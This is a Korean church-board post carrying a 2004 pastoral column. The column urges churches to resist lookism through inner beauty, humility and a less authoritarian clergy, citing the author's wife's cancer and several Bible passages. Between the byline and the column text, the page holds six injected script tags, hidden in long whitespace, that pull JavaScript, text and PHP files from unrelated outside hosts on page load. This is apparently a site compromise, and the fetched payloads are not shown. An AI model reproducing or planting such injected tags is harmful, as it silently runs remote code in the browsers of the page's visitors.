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칼럼 <목회칼럼> 내면의 아름다움으로 외모지상주의를 바꾸는

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작성자 by 관리자 / 작성일04-02-18 11:05 / 조회 5,122 / 댓글 0

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<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script>                            <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script>          <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script>                              <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script>                                                    <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script>    교짱, 목짱이 뭔가요?
<목회칼럼> 내면의 아름다움으로 외모지상주의를 바꾸는 교회 되길
                                                                                      방인성(성터교회담임목사, 개혁연대집행위원)
 

외모지상주의에 빠진 현 시대를 풍자한 얼짱, 몸짱은 물론 '노래짱', '성대 모사짱'등 국적불명의 용어가 인터넷에 나돌고 있다. 이 시대의 문화 현상이란 측면에서 언론이 관심을 가져야 하겠지만 사회에 미칠 영향에 대한 평가나 해석 없이 스포츠나, 정치의 영역에도 이런 용어를 남발하며 외모를 필요 이상으로 부각하는 것은 큰 문제이다. 몇 몇 사람을 내세워 외모에만 관심을 갖도록 하는 허영에 빠지지 않도록 정신을 차려야 하겠다.

아내가 유방암으로 투병하며 치료를 받다가 머리가 빠지고 얼마 전에는 수술을 하여 한쪽 가슴을 잃게 되었어도 나는 여전히 그녀의 아름다움에 빠져있다. 암 3기라는 소식을 듣고도 원망보다는 흔들림 없이 최선을 다하는 모습, 오히려 교회 식구들에게 어려움을 주지 않을까 걱정하며 목사인 나를 격려하는 내면의 여유, 때때로 힘들면 나에게 기대어 눈물을 보여주는 나긋하고 부드러운 아내는 정말 '짱'이다. 우리 주변에는 다른 사람과 외모를 비교하지 않고, 있는 모습 그대로를 인정하고 사랑해 주는 사람이 대부분일 것이다.
 
만약 교회에서도 교짱(교회짱), 목짱(목사짱)이라는 용어가 생긴다면 그 의미는 외모지상주의와는 반대로 사용되어지기를 바란다. 건물이 웅장하고 화려한 교회가 '짱'이 아니라 건강하고 순결한 교회가 '짱' 이어야 한다. 건강하다는 것은 병든 것을 아파할 줄 알고 호소하며 서로 치료와 회복이 가능한 몸이다.

정결하다는 것은 더러운 것을 숨기고 은폐하고 고집부리는 것이 아니라 털고 닦고 씻는 것을 말한다. 그래서 건강한 교회 공동체는 잘못된 것은 누구에게나 지적할 수 있고 그것을 겸허하게 받고 고칠 수 있는 자정 능력이 있어야한다. 더 나아가 교회 안에만 머물러 있지 않고 사회 속에 들어가 병든 부분을 고치고 죽어져가는 영혼을 건져내야 한다. 
 
목사도 쓸데없는 권위주위에 사로잡혀 특별한 힘이 있는 것처럼 허세 부리지 말고 성도들과 함께 그리스도의 몸을 만들어 가야한다. 목사는 교회안의 여러 은사(돌봄, 가르침, 설교) 중 하나이지 직위가 아니다(엡4:11).

직위라고 말한다면 목사는 장로이다. 사실 교회 안에서 평신도와 목사를 구분하는 것도 용어상 옳은 것은 아니다. 목사가 구약의 제사장처럼 일반 교회 식구와 구분하려하는 것은 신약 성경 어디에도 없다. 오히려 모든 그리스도인은 '왕 같은 제사장'(벧전2:9)이다.

교회에서 많이 쓰는 '주의 종'이라는 표현은 감사함의 표현이며 오히려 자신을 낮추는 겸손의 용어이지 권위를 부리는 용어가 아니다 (눅1:8, 딤후2:23,24). 바울이 디모데에게 권면 했듯이 목사가 교회에서 설교와 가르침을 맡은 자로서 중요하고 큰 은사 이기는 하지만 더 중요한 것은 맡은 그릇의 깨끗함에 있다(딤후2:14-21)


내가 생각 하는 '목짱'은 강단 권, 축복 권, 성례집례 권을 자신만 가졌다고 우기지 않고 함께 축복하고, 함께 말씀을 나누고, 함께 성례집례에도 참여하여 은혜를 나누는 목사이다. 가운입고 폼 잡기보다는 사랑이 있는 목회자, 강단에서 자신에게만 축복과 저주의 특권이 있는 것처럼 공포분위기를 조성하기 보다는 말씀에 예리함과 깊이가 있는 설교자, 성도와 거리를 두고 구별하기보다는 무슨 말이든지 할 수 있는 편안하고 부드러운 친구, 완벽하려고 늘 굳어있고 충고를 멀리하기보다는 자신의 실수를 인정하고 고치려고 눈물 흘리는 참회자가 '목사짱'이지 않을까! 
 
나 같은 사람도 아내의 아름다움을 알고 좋아 어쩔 줄 몰라 하는데 하물며 우리 주님이야 교회를 보실 때 어떠하랴! 교회여! 내면의 아름다움으로 외모지상주의를 바꾸는 진정한 '짱'이 되어라!!

*뉴스앤조이 2004년 02월 17일
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